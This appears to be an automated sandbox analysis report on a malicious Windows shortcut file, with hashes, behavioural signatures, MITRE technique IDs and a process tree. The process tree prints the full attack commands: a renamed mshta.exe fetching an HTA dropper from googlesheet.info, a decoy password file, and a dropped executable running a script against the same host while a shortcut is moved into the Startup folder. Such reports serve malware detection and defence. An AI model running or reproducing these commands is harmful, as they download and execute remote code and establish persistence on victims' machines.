422384d25aa351a4eb6871ea50c3c96e83ec6f8ffdb3129adc5a4cf1b198c5c9

General

Target
Password_link.lnk
Size 1KB
Sample220805-qf3f1sager
SHA256 422384d25aa351a4eb6871ea50c3c96e83ec6f8ffdb3129adc5a4cf1b198c5c9
MD5 2eaa53ccb43cd38a1f0a28abcd7f6a30
SHA1 9081b9cfb4f4b5a9e277b1d7924b471637007cd7
SHA512 77d034b594fe428e6eb3f3531515bf1091bfc34b8c1e27b5916e841368f6ca768a39e91475a0efcfc0ecfcff1bf25ce8cda39c59156211cd3d7065ca513e91b2
MD5 SHA1 SHA512

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper
https://www.googlesheet.info/NZrTnPVmtfjcSMz8n1hZZzvHQvUUEfFnIMAYliQuR+A=

Signatures

Blocklisted process makes network request 3 IoCs

flow	pid	Process
14	1824	mshta.exe
17	1824	mshta.exe
27	1824	mshta.exe

Executes dropped EXE 2 IoCs

pid	Process
1636	scmp.exe
3836	scmp.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1101907861-274115917-2188613224-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1101907861-274115917-2188613224-1000\Control Panel\International\Geo\Nation	mshta.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
4244	notepad.exe

Script User-Agent 7 IoCs

Uses user-agent string associated with script host/environment.

description	flow	ioc
HTTP User-Agent header	95	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	38	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	39	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	50	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	71	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	77	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	87	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 1232 wrote to memory of 4572	1232	cmd.exe	83
PID 1232 wrote to memory of 4572	1232	cmd.exe	83
PID 4572 wrote to memory of 1824	4572	cmd.exe	84
PID 4572 wrote to memory of 1824	4572	cmd.exe	84
PID 1824 wrote to memory of 2140	1824	mshta.exe	86
PID 1824 wrote to memory of 2140	1824	mshta.exe	86
PID 2140 wrote to memory of 4244	2140	cmd.exe	88
PID 2140 wrote to memory of 4244	2140	cmd.exe	88
PID 1824 wrote to memory of 4872	1824	mshta.exe	89
PID 1824 wrote to memory of 4872	1824	mshta.exe	89
PID 4872 wrote to memory of 1636	4872	cmd.exe	92
PID 4872 wrote to memory of 1636	4872	cmd.exe	92
PID 4872 wrote to memory of 3836	4872	cmd.exe	93
PID 4872 wrote to memory of 3836	4872	cmd.exe	93

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Password_link.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1232
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /q /c type C:\Windows\system32\msh*.exe>C:\Users\Public\msh&ren C:\Users\Public\* *ta.exe&for %i IN (C:\Users\Public\ms*.exe) DO start /b %~ni "https://www.googlesheet.info/NZrTnPVmtfjcSMz8n1hZZzvHQvUUEfFnIMAYliQuR+A="
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4572
- - C:\Windows\system32\mshta.exe
    mshta "https://www.googlesheet.info/NZrTnPVmtfjcSMz8n1hZZzvHQvUUEfFnIMAYliQuR+A="
    3⤵
    - Blocklisted process makes network request
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:1824
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C "ECHO salary2022> C:\Users\Admin\AppData\Local\Temp\Password.txt & NOTEPAD.EXE C:\Users\Admin\AppData\Local\Temp\Password.txt & DEL C:\Users\Admin\AppData\Local\Temp\Password.txt"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:2140
    - - C:\Windows\system32\notepad.exe
        
        NOTEPAD.EXE C:\Users\Admin\AppData\Local\Temp\Password.txt
        5⤵
        Opens file in notepad (likely ransom note)
        
        PID:4244
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c start /b C:\Users\Public\scmp.exe "C:\Users\Admin\AppData\Local\Temp\fpyqhp.js" www.googlesheet.info/ 1 & start /b C:\Users\Public\scmp.exe "C:\Users\Admin\AppData\Local\Temp\fpyqhp.js" www.googlesheet.info/ 2 & move "C:\Users\Admin\AppData\Local\Temp\Box.lnk" "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:4872
    - - C:\Users\Public\scmp.exe
        
        C:\Users\Public\scmp.exe "C:\Users\Admin\AppData\Local\Temp\fpyqhp.js" www.googlesheet.info/ 1
        5⤵
        Executes dropped EXE
        
        PID:1636
    - - C:\Users\Public\scmp.exe
        
        C:\Users\Public\scmp.exe "C:\Users\Admin\AppData\Local\Temp\fpyqhp.js" www.googlesheet.info/ 2
        5⤵
        Executes dropped EXE
        
        PID:3836

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Box.lnk

Path C:\Users\Admin\AppData\Local\Temp\Box.lnk
Size 848B
SHA256 d6e3922b0bcb8aa6f5a4c62ef263c8013e31ee6c9196051c9a4b0a4f95334576
MD5 1dde3ca95fa3787970bd67e08a9bc4b3
SHA1 01f0594ebb9e6b178304ca3d30eb98ee9341290d
SHA512 596df0069eb3b1063d738b94d681e3202e09a917945bb8a4d4f79c4761d5e5e71b21aec1ab9ed00ef68d8506774c2ef2208786f50a5dfb01a4a7fa4d987b36ef
MD5 SHA1 SHA512

Submit Download

Password.txt

Path C:\Users\Admin\AppData\Local\Temp\Password.txt
Size 13B
SHA256 f45297b20d11b1a63f4c4c2d475212eeb064c97c802beabca778f1ab0c741fa9
MD5 e70db267e3a047e461c8678a475877c9
SHA1 3b9bc8fac3f06799d47c92e1eeac66d035dc32c7
SHA512 e0056e8560edf6d5f0b5167c0693b6657b0f7537f2a1dbdb1c033f8b760bbbdc9623f4ad09bf6cbc069a0bfaca00a93c634ae5460f999d1ace58c62c5c2f8bb5
MD5 SHA1 SHA512

Submit Download

fpyqhp.js

Path C:\Users\Admin\AppData\Local\Temp\fpyqhp.js
Size 3KB
SHA256 8fae44f0db835c7ced4cddafcf64b8221822ae0384a8575911f84b98f9bf7dc3
MD5 5eeaaf798aff4328ae6afdffc28546bd
SHA1 a161f51b686662e887b83cf8b2b0ea31e102d76f
SHA512 af53659dcd8d6ce2d7e742d14a2902c341ebc0e56b07a160556fdf0064c16ef891bad11f27b565ddbe41aec2111ad97c83337962fbb318f4c9dc5fc88a4a27da
MD5 SHA1 SHA512

Submit Download

scmp.exe

Path C:\Users\Public\scmp.exe
Size 157KB
SHA256 ae37fd1b642e797b36b9ffcec8a6e986732d011681061800c6b74426c28a9d03
MD5 24590bf74bbbbfd7d7ac070f4e3c44fd
SHA1 cdfe517d07f18623778829aa98d6bbadd3f294cd
SHA512 ffaf2c86c9555513cdb51a7638f1fde3e8951a203aac63fd0aac62db297c853ac8c14e1a212c01d6b181df53e790f80489358489f6415d5c7fa53bfb8888bfa9
SSDEEP 3072:O4jcFp8lMpEXjBEezimaUcmm0R/MsDM9/KhjULtgiTt6IZxttN:jjcY+yXjBEeGmaNmmnCLUgEtfZhN
MD5 SHA1 SHA512 SSDEEP

Submit Download

scmp.exe

Path C:\Users\Public\scmp.exe
Size 157KB
SHA256 ae37fd1b642e797b36b9ffcec8a6e986732d011681061800c6b74426c28a9d03
MD5 24590bf74bbbbfd7d7ac070f4e3c44fd
SHA1 cdfe517d07f18623778829aa98d6bbadd3f294cd
SHA512 ffaf2c86c9555513cdb51a7638f1fde3e8951a203aac63fd0aac62db297c853ac8c14e1a212c01d6b181df53e790f80489358489f6415d5c7fa53bfb8888bfa9
SSDEEP 3072:O4jcFp8lMpEXjBEezimaUcmm0R/MsDM9/KhjULtgiTt6IZxttN:jjcY+yXjBEeGmaNmmnCLUgEtfZhN
MD5 SHA1 SHA512 SSDEEP

Submit Download

scmp.exe

Path C:\Users\Public\scmp.exe
Size 157KB
SHA256 ae37fd1b642e797b36b9ffcec8a6e986732d011681061800c6b74426c28a9d03
MD5 24590bf74bbbbfd7d7ac070f4e3c44fd
SHA1 cdfe517d07f18623778829aa98d6bbadd3f294cd
SHA512 ffaf2c86c9555513cdb51a7638f1fde3e8951a203aac63fd0aac62db297c853ac8c14e1a212c01d6b181df53e790f80489358489f6415d5c7fa53bfb8888bfa9
SSDEEP 3072:O4jcFp8lMpEXjBEezimaUcmm0R/MsDM9/KhjULtgiTt6IZxttN:jjcY+yXjBEeGmaNmmnCLUgEtfZhN
MD5 SHA1 SHA512 SSDEEP

Submit Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads